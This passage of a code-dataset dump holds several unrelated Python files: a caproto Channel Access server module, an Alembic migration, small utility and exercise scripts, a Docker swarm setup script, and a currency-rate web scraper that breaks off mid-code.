fire.Fire(Run)\n","sub_path":"scripts/data_collector/yahoo/collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":31524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"204535146","text":"from collections import defaultdict, deque, namedtuple, ChainMap, Iterable\nimport copy\nimport logging\nimport sys\nimport time\nimport caproto as ca\nfrom caproto import apply_arr_filter, get_environment_variables\nfrom .._dbr import SubscriptionType\n\n\nclass DisconnectedCircuit(Exception):\n ...\n\n\nSubscription = namedtuple('Subscription', ('mask', 'channel_filter',\n 'circuit', 'channel',\n 'data_type',\n 'data_count', 'subscriptionid',\n 'db_entry'))\nSubscriptionSpec = namedtuple('SubscriptionSpec', ('db_entry', 'data_type',\n 'mask', 'channel_filter'))\n\nhost_endian = ('>' if sys.byteorder == 'big' else '<')\n\n\nclass VirtualCircuit:\n def __init__(self, circuit, client, context):\n self.connected = True\n self.circuit = circuit # a caproto.VirtualCircuit\n self.log = circuit.log\n self.client = client\n self.context = context\n self.client_hostname = None\n self.client_username = None\n self.subscriptions = defaultdict(deque)\n\n async def _on_disconnect(self):\n \"\"\"Executed when disconnection detected\"\"\"\n if not self.connected:\n return\n\n self.connected = False\n queue = self.context.subscription_queue\n for sub_spec, subs in self.subscriptions.items():\n for sub in subs:\n self.context.subscriptions[sub_spec].remove(sub)\n # Does anything else on the Context still care about this sub_spec?\n # If not unsubscribe the Context's queue from the db_entry.\n if not self.context.subscriptions[sub_spec]:\n await sub_spec.db_entry.unsubscribe(queue, sub_spec)\n self.subscriptions.clear()\n\n async def send(self, *commands):\n \"\"\"\n Process a command and tranport it over the TCP socket for this circuit.\n \"\"\"\n if self.connected:\n buffers_to_send = self.circuit.send(*commands)\n # send bytes over the wire using some caproto utilities\n await ca.async_send_all(buffers_to_send, self.client.sendmsg)\n\n async def recv(self):\n \"\"\"\n Receive bytes over TCP and cache them in this circuit's buffer.\n \"\"\"\n try:\n bytes_received = await self.client.recv(4096)\n except (ConnectionResetError, ConnectionAbortedError) as ex:\n bytes_received = []\n\n commands, _ = self.circuit.recv(bytes_received)\n for c in commands:\n await self.command_queue.put(c)\n if not bytes_received:\n await self._on_disconnect()\n raise DisconnectedCircuit()\n\n async def command_queue_loop(self):\n \"\"\"\n Coroutine which feeds from the circuit command queue.\n\n 1. Dispatch and validate through caproto.VirtualCircuit.process_command\n - Upon server failure, respond to the client with\n caproto.ErrorResponse\n 2. Update Channel state if applicable.\n \"\"\"\n while True:\n try:\n command = await self.command_queue.get()\n self.circuit.process_command(command)\n except self.TaskCancelled:\n break\n except ca.RemoteProtocolError as ex:\n if hasattr(command, 'sid'):\n sid = command.sid\n cid = self.circuit.channels_sid[sid].cid\n elif hasattr(command, 'cid'):\n cid = command.cid\n sid = self.circuit.channels[cid].sid\n\n else:\n cid, sid = None, None\n\n if cid is not None:\n try:\n await self.send(ca.ServerDisconnResponse(cid=cid))\n except Exception:\n self.log.error(\n \"Client broke the protocol in a recoverable \"\n \"way, but channel disconnection of cid=%d sid=%d \"\n \"failed.\", cid, sid,\n exc_info=ex)\n break\n else:\n self.log.error(\n \"Client broke the protocol in a recoverable \"\n \"way. Disconnected channel cid=%d sid=%d \"\n \"but keeping the circuit alive.\", cid, sid,\n exc_info=ex)\n\n await self._wake_new_command()\n continue\n else:\n self.log.error(\"Client broke the protocol in an \"\n \"unrecoverable way.\", exc_info=ex)\n # TODO: Kill the circuit.\n break\n except Exception as ex:\n self.log.error('Circuit command queue evaluation failed',\n exc_info=ex)\n continue\n\n try:\n response_command = await self._process_command(command)\n if response_command is not None:\n await self.send(*response_command)\n except DisconnectedCircuit:\n await self._on_disconnect()\n self.circuit.disconnect()\n await self.context.circuit_disconnected(self)\n break\n except Exception as ex:\n if not self.connected:\n if not isinstance(command, ca.ClearChannelRequest):\n self.log.error('Server error after client '\n 'disconnection: %s', command)\n break\n\n self.log.error('Server failed to process command: %s',\n command, exc_info=ex)\n\n if hasattr(command, 'sid'):\n cid = self.circuit.channels_sid[command.sid].cid\n\n response_command = ca.ErrorResponse(\n command, cid,\n status=ca.CAStatus.ECA_INTERNAL,\n error_message=('Python exception: {} {}'\n ''.format(type(ex).__name__, ex))\n )\n await self.send(response_command)\n\n await self._wake_new_command()\n\n async def _cull_subscriptions(self, db_entry, func):\n # Iterate through each Subscription, passing each one to func(sub).\n # Collect a list of (SubscriptionSpec, Subscription) for which\n # func(sub) is True.\n #\n # Remove any matching Subscriptions, and then remove any empty\n # SubsciprtionSpecs. Return the list of matching pairs.\n to_remove = []\n for sub_spec, subs in self.subscriptions.items():\n for sub in subs:\n if func(sub):\n to_remove.append((sub_spec, sub))\n for sub_spec, sub in to_remove:\n self.subscriptions[sub_spec].remove(sub)\n self.context.subscriptions[sub_spec].remove(sub)\n self.context.last_dead_band.pop(sub, None)\n self.context.last_sync_edge_update.pop(sub, None)\n # Does anything else on the Context still care about sub_spec?\n # If not unsubscribe the Context's queue from the db_entry.\n if not self.context.subscriptions[sub_spec]:\n queue = self.context.subscription_queue\n await sub_spec.db_entry.unsubscribe(queue, sub_spec)\n return tuple(to_remove)\n\n async def _process_command(self, command):\n '''Process a command from a client, and return the server response'''\n def get_db_entry():\n chan = self.circuit.channels_sid[command.sid]\n db_entry = self.context[chan.name]\n return chan, db_entry\n if command is ca.DISCONNECTED:\n raise DisconnectedCircuit()\n elif isinstance(command, ca.VersionRequest):\n return [ca.VersionResponse(ca.DEFAULT_PROTOCOL_VERSION)]\n elif isinstance(command, ca.SearchRequest):\n pv_name = command.name\n try:\n self.context[pv_name]\n except KeyError:\n if command.reply == ca.DO_REPLY:\n return [\n ca.NotFoundResponse(\n version=ca.DEFAULT_PROTOCOL_VERSION,\n cid=command.cid)\n ]\n else:\n return [\n ca.SearchResponse(self.context.port, None, command.cid,\n ca.DEFAULT_PROTOCOL_VERSION)\n ]\n elif isinstance(command, ca.CreateChanRequest):\n try:\n db_entry = self.context[command.name]\n except KeyError:\n self.log.debug('Client requested invalid channel name: %s',\n command.name)\n return [ca.CreateChFailResponse(cid=command.cid)]\n\n access = db_entry.check_access(self.client_hostname,\n self.client_username)\n\n return [ca.AccessRightsResponse(cid=command.cid,\n access_rights=access),\n ca.CreateChanResponse(data_type=db_entry.data_type,\n data_count=len(db_entry),\n cid=command.cid,\n sid=self.circuit.new_channel_id()),\n ]\n elif isinstance(command, ca.HostNameRequest):\n self.client_hostname = command.name\n elif isinstance(command, ca.ClientNameRequest):\n self.client_username = command.name\n elif isinstance(command, (ca.ReadNotifyRequest, ca.ReadRequest)):\n chan, db_entry = get_db_entry()\n try:\n data_type = command.data_type\n except ValueError:\n raise ca.RemoteProtocolError('Invalid data type')\n\n metadata, data = await db_entry.auth_read(\n self.client_hostname, self.client_username,\n data_type, user_address=self.circuit.address)\n\n old_version = self.circuit.protocol_version < 13\n if command.data_count > 0 or old_version:\n data = data[:command.data_count]\n\n # This is a pass-through if arr is None.\n data = apply_arr_filter(chan.channel_filter.arr, data)\n # If the timestamp feature is active swap the timestamp.\n # Information must copied because not all clients will have the\n # timestamp filter\n if chan.channel_filter.ts and command.data_type in ca.time_types:\n time_type = type(metadata)\n now = ca.TimeStamp.from_unix_timestamp(time.time())\n metadata = time_type(**ChainMap({'stamp': now},\n dict((field, getattr(metadata, field))\n for field, _ in time_type._fields_)))\n notify = isinstance(command, ca.ReadNotifyRequest)\n return [chan.read(data=data, data_type=command.data_type,\n data_count=len(data), status=1,\n ioid=command.ioid, metadata=metadata,\n notify=notify)\n ]\n elif isinstance(command, (ca.WriteRequest, ca.WriteNotifyRequest)):\n chan, db_entry = get_db_entry()\n client_waiting = isinstance(command, ca.WriteNotifyRequest)\n\n async def handle_write():\n '''Wait for an asynchronous caput to finish'''\n try:\n write_status = await db_entry.auth_write(\n self.client_hostname, self.client_username,\n command.data, command.data_type, command.metadata,\n user_address=self.circuit.address)\n except Exception as ex:\n self.log.exception('Invalid write request by %s (%s): %r',\n self.client_username,\n self.client_hostname, command)\n cid = self.circuit.channels_sid[command.sid].cid\n response_command = ca.ErrorResponse(\n command, cid,\n status=ca.CAStatus.ECA_INTERNAL,\n error_message=('Python exception: {} {}'\n ''.format(type(ex).__name__, ex))\n )\n else:\n if write_status is None:\n # errors can be passed back by exceptions, and\n # returning none for write_status can just be\n # considered laziness\n write_status = True\n try:\n data_count = len(db_entry.value)\n except (TypeError, ValueError):\n data_count = 0 # or maybe 1?\n response_command = chan.write(ioid=command.ioid,\n status=write_status,\n data_count=data_count)\n\n if client_waiting:\n await self.send(response_command)\n\n await self._start_write_task(handle_write)\n elif isinstance(command, ca.EventAddRequest):\n chan, db_entry = get_db_entry()\n # TODO no support for deprecated low/high/to\n sub = Subscription(mask=command.mask,\n channel_filter=chan.channel_filter,\n channel=chan,\n circuit=self,\n data_type=command.data_type,\n data_count=command.data_count,\n subscriptionid=command.subscriptionid,\n db_entry=db_entry)\n sub_spec = SubscriptionSpec(\n db_entry=db_entry,\n data_type=command.data_type,\n mask=command.mask,\n channel_filter=chan.channel_filter)\n self.subscriptions[sub_spec].append(sub)\n self.context.subscriptions[sub_spec].append(sub)\n await db_entry.subscribe(self.context.subscription_queue, sub_spec)\n elif isinstance(command, ca.EventCancelRequest):\n chan, db_entry = get_db_entry()\n await self._cull_subscriptions(\n db_entry,\n lambda sub: sub.subscriptionid == command.subscriptionid)\n try:\n data_count = len(db_entry.value)\n except (TypeError, ValueError):\n data_count = 0 # or maybe 1?\n return [chan.unsubscribe(command.subscriptionid,\n data_type=command.data_type,\n data_count=data_count)]\n elif isinstance(command, ca.ClearChannelRequest):\n chan, db_entry = get_db_entry()\n await self._cull_subscriptions(\n db_entry,\n lambda sub: sub.channel == command.sid)\n return [chan.clear()]\n elif isinstance(command, ca.EchoRequest):\n return [ca.EchoResponse()]\n\n\nclass Context:\n def __init__(self, pvdb, interfaces=None):\n if interfaces is None:\n interfaces = ca.get_server_address_list()\n self.interfaces = interfaces\n self.udp_socks = {} # map each interface to a UDP socket for searches\n self.beacon_socks = {} # map each interface to a UDP socket for beacons\n self.pvdb = pvdb\n self.log = logging.getLogger(f'caproto.ctx.{id(self)}')\n\n self.circuits = set()\n self.broadcaster = ca.Broadcaster(our_role=ca.SERVER)\n\n self.subscriptions = defaultdict(deque)\n # Map Subscription to {'before': last_update, 'after': last_update}\n # to silence duplicates for Subscriptions that use edge-triggered sync\n # Channel Filter.\n self.last_sync_edge_update = defaultdict(lambda: defaultdict(dict))\n self.last_dead_band = {}\n self.beacon_count = 0\n\n self.environ = get_environment_variables()\n\n # ca_server_port: the default tcp/udp port from the environment\n self.ca_server_port = self.environ['EPICS_CA_SERVER_PORT']\n # the specific tcp port in use by this server\n self.port = None\n\n self.log.debug('EPICS_CA_SERVER_PORT set to %d. This is the UDP port '\n 'to be used for searches, and the first TCP server port'\n ' to be tried.', self.ca_server_port)\n\n ignore_addresses = self.environ['EPICS_CAS_IGNORE_ADDR_LIST']\n self.ignore_addresses = ignore_addresses.split(' ')\n\n async def _core_broadcaster_loop(self, udp_sock):\n while True:\n try:\n bytes_received, address = await udp_sock.recvfrom(4096 * 16)\n except ConnectionResetError:\n self.log.exception('UDP server connection reset')\n await self.async_layer.library.sleep(0.1)\n continue\n\n await self._broadcaster_recv_datagram(bytes_received, address)\n\n async def _broadcaster_recv_datagram(self, bytes_received, address):\n if bytes_received:\n commands = self.broadcaster.recv(bytes_received, address)\n await self.command_bundle_queue.put((address, commands))\n\n async def broadcaster_queue_loop(self):\n while True:\n try:\n addr, commands = await self.command_bundle_queue.get()\n self.broadcaster.process_commands(commands)\n if addr not in self.ignore_addresses:\n await self._broadcaster_evaluate(addr, commands)\n except self.TaskCancelled:\n break\n except Exception as ex:\n self.log.exception('Broadcaster command queue evaluation failed',\n exc_info=ex)\n continue\n\n def __iter__(self):\n # Implemented to support __getitem__ below\n return iter(self.pvdb)\n\n def __getitem__(self, pvname):\n try:\n return self.pvdb[pvname]\n except KeyError as ex:\n try:\n (rec_field, rec, field, mods) = ca.parse_record_field(pvname)\n except ValueError:\n raise ex\n\n if not field and not mods:\n # No field or modifiers, so there's nothing left to check\n raise\n\n # Without the modifiers, try 'record[.field]'\n try:\n inst = self.pvdb[rec_field]\n except KeyError:\n # Finally, access 'record', see if it has 'field'\n try:\n inst = self.pvdb[rec]\n except KeyError:\n raise KeyError(f'Neither record nor field exists: '\n f'{rec_field}')\n\n try:\n inst = inst.get_field(field)\n except (AttributeError, KeyError):\n raise KeyError(f'Neither record nor field exists: '\n f'{rec_field}')\n\n # Cache record.FIELD for later usage\n self.pvdb[rec_field] = inst\n return inst\n\n async def _broadcaster_evaluate(self, addr, commands):\n search_replies = []\n version_requested = False\n for command in commands:\n if isinstance(command, ca.VersionRequest):\n version_requested = True\n elif isinstance(command, ca.SearchRequest):\n pv_name = command.name\n try:\n known_pv = self[pv_name] is not None\n except KeyError:\n known_pv = False\n\n if known_pv:\n # responding with an IP of `None` tells client to get IP\n # address from the datagram.\n search_replies.append(\n ca.SearchResponse(self.port, None, command.cid,\n ca.DEFAULT_PROTOCOL_VERSION)\n )\n\n if search_replies:\n if version_requested:\n bytes_to_send = self.broadcaster.send(ca.VersionResponse(13),\n *search_replies)\n else:\n bytes_to_send = self.broadcaster.send(*search_replies)\n\n for udp_sock in self.udp_socks.values():\n await udp_sock.sendto(bytes_to_send, addr)\n\n async def subscription_queue_loop(self):\n while True:\n # This queue receives updates that match the db_entry, data_type\n # and mask (\"subscription spec\") of one or more subscriptions.\n sub_specs, metadata, values, flags = await self.subscription_queue.get()\n subs = []\n for sub_spec in sub_specs:\n subs.extend(self.subscriptions[sub_spec])\n # Pack the data and metadata into an EventAddResponse and send it.\n # We have to make a new response for each channel because each may\n # have a different requested data_count.\n for sub in subs:\n s_flags = flags\n chan = sub.channel\n\n # This is a pass-through if arr is None.\n values = apply_arr_filter(sub_spec.channel_filter.arr, values)\n\n # If the subscription has a non-zero value respect it,\n # else default to the full length of the data.\n data_count = sub.data_count or len(values)\n if data_count != len(values):\n values = values[:data_count]\n\n command = chan.subscribe(data=values,\n metadata=metadata,\n data_type=sub.data_type,\n data_count=data_count,\n subscriptionid=sub.subscriptionid,\n status=1)\n\n dbnd = sub.channel_filter.dbnd\n if dbnd is not None:\n new = values\n if hasattr(new, 'endian'):\n if new.endian != host_endian:\n new = copy.copy(new)\n new.byteswap()\n old = self.last_dead_band.get(sub)\n if old is not None:\n if ((not isinstance(old, Iterable) or\n (isinstance(old, Iterable) and len(old) == 1)) and\n (not isinstance(new, Iterable) or\n (isinstance(new, Iterable) and len(new) == 1))):\n if isinstance(old, Iterable):\n old, = old\n if isinstance(new, Iterable):\n new, = new\n # Cool that was fun.\n if dbnd.m == 'rel':\n out_of_band = dbnd.d < abs((old - new) / old)\n else: # must be 'abs' -- was already validated\n out_of_band = dbnd.d < abs(old - new)\n # We have verified that that EPICS considers DBE_LOG etc. to be\n # an absolute (not relative) threshold.\n abs_diff = abs(old - new)\n if abs_diff > sub.db_entry.log_atol:\n s_flags |= SubscriptionType.DBE_LOG\n if abs_diff > sub.db_entry.value_atol:\n s_flags |= SubscriptionType.DBE_VALUE\n\n if not (out_of_band and (sub.mask & s_flags)):\n continue\n else:\n self.last_dead_band[sub] = new\n else:\n self.last_dead_band[sub] = new\n\n # Special-case for edge-triggered modes of the sync Channel\n # Filter (before, after, first, last). Only send the first\n # update to each channel.\n sync = sub.channel_filter.sync\n if sync is not None:\n last_update = self.last_sync_edge_update[sub][sync.s].get(sync.m)\n if last_update and last_update == command:\n # This is a redundant update. Do not send.\n continue\n else:\n # Stash this and then send it.\n self.last_sync_edge_update[sub][sync.s][sync.m] = command\n\n # Check that the Channel did not close at some point after\n # this update started its flight.\n if chan.states[ca.SERVER] is ca.CONNECTED:\n await sub.circuit.send(command)\n\n async def broadcast_beacon_loop(self):\n self.log.debug('Will send beacons to %r',\n [f'{h}:{p}' for h, p in self.beacon_socks.keys()])\n MIN_BEACON_PERIOD = 0.02 # \"RECOMMENDED\" by the CA spec\n BEACON_BACKOFF = 2 # \"RECOMMENDED\" by the CA spec\n max_beacon_period = self.environ['EPICS_CAS_BEACON_PERIOD']\n beacon_period = MIN_BEACON_PERIOD\n while True:\n for address, (interface, sock) in self.beacon_socks.items():\n try:\n beacon = ca.Beacon(13, self.port,\n self.beacon_count,\n interface)\n bytes_to_send = self.broadcaster.send(beacon)\n await sock.send(bytes_to_send)\n except IOError:\n self.log.exception(\n \"Failed to send beacon to %r. Try setting \"\n \"EPICS_CAS_AUTO_BEACON_ADDR_LIST=no and \"\n \"EPICS_CAS_BEACON_ADDR_LIST=.\", address)\n self.beacon_count += 1\n if beacon_period < max_beacon_period:\n beacon_period = min(max_beacon_period,\n beacon_period * BEACON_BACKOFF)\n await self.async_layer.library.sleep(beacon_period)\n\n async def circuit_disconnected(self, circuit):\n '''Notification from circuit that its connection has closed'''\n self.circuits.discard(circuit)\n\n @property\n def startup_methods(self):\n 'Notify all ChannelData instances of the server startup'\n return {name: instance.server_startup\n for name, instance in self.pvdb.items()\n if hasattr(instance, 'server_startup') and\n instance.server_startup is not None}\n\n async def _bind_tcp_sockets_with_consistent_port_number(self, make_socket):\n # Find a random port number that is free on all self.interfaces,\n # and get a bound TCP socket with that port number on each\n # interface. The argument `make_socket` is expected to be a coroutine\n # with the signature `make_socket(interface, port)` that does whatever\n # library-specific incantation is necessary to return a bound socket or\n # raise an IOError.\n tcp_sockets = {} # maps interface to bound socket\n stashed_ex = None\n for port in ca.random_ports(100, try_first=self.ca_server_port):\n try:\n for interface in self.interfaces:\n s = await make_socket(interface, port)\n tcp_sockets[interface] = s\n except IOError as ex:\n stashed_ex = ex\n for s in tcp_sockets.values():\n s.close()\n tcp_sockets.clear()\n else:\n break\n else:\n raise RuntimeError('No available ports and/or bind failed') from stashed_ex\n return port, tcp_sockets\n\n async def tcp_handler(self, client, addr):\n '''Handler for each new TCP client to the server'''\n cavc = ca.VirtualCircuit(ca.SERVER, addr, None)\n circuit = self.CircuitClass(cavc, client, self)\n self.circuits.add(circuit)\n self.log.info('Connected to new client at %s:%d.\\n'\n 'Circuits currently connected: %d', *addr,\n len(self.circuits))\n\n await circuit.run()\n\n try:\n while True:\n try:\n await circuit.recv()\n except DisconnectedCircuit:\n await self.circuit_disconnected(circuit)\n break\n except KeyboardInterrupt as ex:\n self.log.debug('TCP handler received KeyboardInterrupt')\n raise self.ServerExit() from ex\n self.log.info('Disconnected from client at %s:%d.\\n'\n 'Circuits currently connected: %d', *addr,\n len(self.circuits))\n\n def stop(self):\n ...\n","sub_path":"caproto/server/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":29324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"371632960","text":"\"\"\"empty message\n\nRevision ID: 1ef6a2322f0\nRevises: 2252408d74e\nCreate Date: 2016-02-09 12:48:15.099744\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '1ef6a2322f0'\ndown_revision = '2252408d74e'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('AssignedTemplate')\n op.add_column('Fields', sa.Column('selected_by_default', sa.Boolean(), nullable=True))\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('Fields', 'selected_by_default')\n op.create_table('AssignedTemplate',\n sa.Column('wer', mysql.INTEGER(display_width=11), autoincrement=False, nullable=False),\n sa.Column('were', mysql.INTEGER(display_width=11), autoincrement=False, nullable=False),\n mysql_default_charset='utf8',\n mysql_engine='InnoDB'\n )\n ### end Alembic commands ###\n","sub_path":"migrations/versions/1ef6a2322f0_.py","file_name":"1ef6a2322f0_.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"291497005","text":"#!/usr/bin/env python2\n# -*- mode: python; py-which-shell: \"python2\";-*-\n# -------------------------------------------------------------\n# file: timeshift.py\n# -------------------------------------------------------------\n# -------------------------------------------------------------\n# Copyright (c) 2017 Battelle Memorial Institute\n# Licensed under modified BSD License. A copy of this license can be\n# found in the LICENSE file in the top level directory of this\n# distribution.\n# -------------------------------------------------------------\n# -------------------------------------------------------------\n# Created March 9, 2016 by William A. Perkins\n# Last Change: 2017-06-22 11:46:54 d3g096\n# -------------------------------------------------------------\n\n# RCS ID: $Id$\n\nimport sys, os\nfrom optparse import OptionParser\nimport re\nfrom datetime import *\nimport fileinput\n\n# -------------------------------------------------------------\n# variable initialization\n# -------------------------------------------------------------\nprogram = os.path.basename(sys.argv[0])\nusage = \"usage: \" + program\n\nfmt = \"%m-%d-%Y %H:%M:%S\"\n\n# -------------------------------------------------------------\n# handle command line\n# -------------------------------------------------------------\nusage = \"Usage: %prog [options] [file]\"\nparser = OptionParser(usage=usage)\n\nparser.add_option(\"-v\", \"--verbose\",\n dest=\"verbose\", action=\"store_true\", default=False,\n help=\"show what's going on\")\n\nparser.add_option(\"-o\", \"--output\", type=\"string\",\n dest=\"output\", action=\"store\")\n\nparser.add_option(\"-H\", \"--hour-offset\", type=\"int\", default=0,\n dest=\"hroffset\", action=\"store\")\n\n(options, args) = parser.parse_args()\n\ndoverbose = options.verbose\nhroffset = options.hroffset\n\ntheoffset = timedelta(hours=int(hroffset))\n\nif options.output:\n output = open(options.output, mode='w')\nelse:\n output = sys.stdout\n\n# -------------------------------------------------------------\n# main program\n# -------------------------------------------------------------\n\nrdatetime = re.compile(r'^\\s*(\\d\\d)-(\\d\\d)-(\\d\\d\\d\\d)\\s+(\\d\\d):(\\d\\d):(\\d\\d)(.*)$')\n\nif len(args) > 0:\n inp = fileinput.input(args[0])\nelse:\n inp = fileinput.input(\"-\") \n\nfor line in inp:\n l = line.rstrip()\n m = rdatetime.match(l)\n if (rdatetime.match(l)):\n s = rdatetime.split(l) # need to ignore s[0]\n pdatetime = datetime(month=int(s[1]), day=int(s[2]), year=int(s[3]),\n hour=int(s[4]), minute=int(s[5]), second=int(s[6]));\n newtime = pdatetime + theoffset\n output.write(\"%s %s\\n\" % (newtime.strftime(fmt), s[7]))\n \n else:\n output.write(\"%s\\n\" % (l))\n","sub_path":"scripts/timeshift.py","file_name":"timeshift.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"126211470","text":"#!/usr/bin/python3\nimport sqlite3\nfrom sys import argv\nfrom test import testQuery\n\n\nproblem_id = int(argv[1])\nsql_query = None\n\nwith open(f'{problem_id}.sql', 'r') as file:\n sql_query = file.read().strip()\n \ncon = sqlite3.connect('movies.db')\ncur = con.cursor()\n\ntry:\n cur.execute(sql_query)\n records = cur.fetchall()\n \n for record in records:\n print(record)\n\n num_of_rows = len(records)\n num_of_columns = len(records[0])\n print(testQuery(num_of_rows, num_of_columns, problem_id))\nexcept Exception as e:\n print(e)\nfinally:\n cur.close()\n con.close()\n\n\n\n","sub_path":"CS50/pset7/movies/movies.py","file_name":"movies.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"120076661","text":"#!/usr/bin/env python3\n\n# Problem: https://dsa.cs.tsinghua.edu.cn/oj/problem.shtml?id=5099\n\n# ================= 代码实现开始 =================\n\n\n# 这是进行排序的函数\n# n:题目描述中的 n\n# A:各同学的算法训练营成绩\n# DS:各同学的数据结构训练营成绩\n# 返回值:将要输出的数字依次加入到返回值的数组中\ndef getAnswer(n, A, DS):\n cnt = 0\n id_ = list(range(1, n+1))\n sum_ = list(map(sum, zip(A, DS)))\n ans = []\n\n for i in range(n):\n for j in range(n-1, i, -1):\n if sum_[j-1] < sum_[j] or (sum_[j-1] == sum_[j] and A[j-1] < A[j]):\n id_[j], id_[j-1] = id_[j-1], id_[j]\n sum_[j], sum_[j-1] = sum_[j-1], sum_[j]\n A[j], A[j-1] = A[j-1], A[j]\n DS[j], DS[j-1] = DS[j-1], DS[j]\n cnt += 1\n\n for i in range(n):\n ans.append(id_[i])\n ans.append(sum_[i])\n ans.append(A[i])\n ans.append(DS[i])\n ans.append(cnt)\n\n return ans\n# ================= 代码实现结束 =================\n\n\nn = int(input())\nA = []\nDS = []\nfor i in range(n):\n a, ds = map(int, input().split())\n A.append(a)\n DS.append(ds)\n\n\nans = getAnswer(n, A, DS)\ncnt = 0\nfor i in range(n):\n print(' '.join(map(str, ans[cnt:cnt + 4])))\n cnt += 4\nprint(ans[cnt])\n","sub_path":"TsinghuaOnlineJudge/oj_grade_sort.py","file_name":"oj_grade_sort.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"648622790","text":"import tensorflow as tf # tf-equal2.py \nimport numpy as np\n\nx1 = tf.constant([0.9, 2.5, 2.3, -4.5])\nx2 = tf.constant([1.0, 2.0, 2.0, -4.0])\nx3 = tf.Variable(x1)\n\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n print('x1:',sess.run(x1))\n print('x2:',sess.run(x2))\n print('r3:',sess.run(tf.round(x3))) \n print('eq:',sess.run(tf.equal(x1,x3)))\n\n#('x1:',array([0.9, 2.5, 2.3, -4.5], dtype=float32))\n#('x2:',array([1., 2., 2., -4.], dtype=float32))\n#('r3:',array([1., 2., 2., -4.], dtype=float32))\n#('eq:',array([True,True,True,True]))\n\n","sub_path":"Week3/week3-hour2-files/tf-equal2.py","file_name":"tf-equal2.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"598770289","text":"from python.client import *\nimport configparser,subprocess,re\n\n\"\"\"\nCreate 3 VM nodes - I used docker-machine to create 3 as below at bash prompt\n# for i in 1 2 3; docker-machine create --virtualbox node$i;done\nNode1, Node2 and Node3. I intend to make Node1 as manager and others workers\nRead this for concepts - https://github.com/machzqcq/docker-orchestration\n\"\"\"\nconf = configparser.RawConfigParser()\nconf.read('../config/.env')\n\n# In case you want to assert the values. Note: If you are using virtualenv, then the below will not locate docker-machine binary\n# node1_ip = subprocess.getoutput(\"docker-machine ip node1\")\n# assert str(node1_ip) in conf.get('docker-machine-node1','DOCKER_HOST')\n# node2_ip = subprocess.getoutput('docker-machine ip node2')\n# assert str(node2_ip) in conf.get('docker-machine-node2','DOCKER_HOST')\n# node3_ip = subprocess.getoutput('docker-machine ip node3')\n# assert str(node3_ip) in conf.get('docker-machine-node3','DOCKER_HOST')\n\nnode1_client = MyDockerClient(conf, 'docker-machine-node1').client\nnode2_client = MyDockerClient(conf, 'docker-machine-node2').client\nnode3_client = MyDockerClient(conf, 'docker-machine-node3').client\n\n# Initialize a swarm and leave it. If the node is already part of swarm, then try, except to handle it properly\n# try:\n# node1_client.swarm.init(\n# advertise_addr='eth1', listen_addr='0.0.0.0:2377',\n# force_new_cluster=False, snapshot_interval=5000,\n# log_entries_for_slow_followers=1200\n# )\n# except Exception as err:\n# print(\"OS error: {0}\".format(err))\n# print(type(err))\n# print(err.args)\n#\n\n# eth1 instead of eth0 , becuase the 192.x address was assigned by virtual box and that is what docker-machine has\nnode1_client.swarm.init(\n advertise_addr='eth1', listen_addr='0.0.0.0:2377',\n force_new_cluster=True, snapshot_interval=5000,\n log_entries_for_slow_followers=1200\n)\nswarm_attrs = node1_client.swarm.attrs\nmanager_token = swarm_attrs['JoinTokens']['Manager']\nworker_token = swarm_attrs['JoinTokens']['Worker']\n\n# Join Node2 as Manager\nnode2_client.swarm.join(remote_addrs=[\"192.168.99.103:2377\"],join_token=worker_token,\n advertise_addr='eth1',listen_addr='0.0.0.0:2377')\n\n# Join Node3 as Worker\nnode3_client.swarm.join(remote_addrs=[\"192.168.99.103:2377\"], join_token=worker_token,\n advertise_addr='eth1', listen_addr='0.0.0.0:2377')\nprint(node1_client.swarm.attrs)\n\n# force=True needed for manager to leave the swarm\nnode2_client.swarm.leave()\nnode3_client.swarm.leave()\nnode1_client.swarm.leave(force=True)\nprint(node1_client.swarm.attrs)\n\n# Note: Bad things can really happen if swarm enters a dangling state. In fact my VM's lost docker-engine state too\n# The docker-machine provisioner got corrupted - hence I had to docker-machine provision node1 (to re-provision)\n\n\n","sub_path":"python/random_scripts/swarm.py","file_name":"swarm.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"257131559","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\n\nurl = \"http://www.europound.es/\"\n\nreq = requests.get(url)\n\nhtml = req.text\n\nsoup = BeautifulSoup(html, 'lxml')\n\ncurrency_sellRatesList = soup.find('marquee', {'class': \"marq1\"})\nsell_Currencies = currency_sellRatesList.find(\"ul\")\nsell_rows = sell_Currencies.findAll(\"li\")\n\ncurrency_buyRatesList = soup.find('marquee', {'class': \"marq2\"})\nbuy_Currencies = currency_buyRatesList.find(\"ul\")\nbuy_rows = buy_Currencies.findAll(\"li\")\n\nresult = []\nfor sell_row, buy_row in zip(sell_rows, buy_rows):\n\tsellCurrencyCode = sell_row.find(\"span\").get_text()\n\tcurencySellRate = sell_row.find('span').next_sibling.strip()\n\tbuyCurrencyCode = buy_row.find(\"span\").get_text()\n\tcurencyBuyRate = buy_row.find('span').next_sibling.strip()\n\tif buyCurrencyCode == sellCurrencyCode:\n\t\tresult.append({'currency_code': sellCurrencyCode, \"sell_rate\": curencySellRate, \"buy_rate\": curencyBuyRate})\n\telse: 